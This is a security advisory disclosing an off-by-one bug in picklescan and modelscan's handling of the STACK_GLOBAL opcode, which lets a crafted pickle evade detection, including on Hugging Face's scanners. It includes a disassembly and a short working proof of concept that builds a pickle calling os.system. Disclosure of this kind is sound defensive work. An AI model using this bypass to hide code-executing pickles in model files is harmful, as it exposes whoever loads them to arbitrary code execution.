Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL.
Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception

Example:

    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
    6: S    STRING     'system' --> arg 1: STRING (tracked argument)
   16: \x93 STACK_GLOBAL
   17: S    STRING     'ls'
   23: \x85 TUPLE1
   24: R    REDUCE
   25: .    STOP

PoC

import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
    f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))

Impact

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Fix

Fix range here, make range(1, n) to range(1, n+1) to make sure the n-offset in range 0 to n.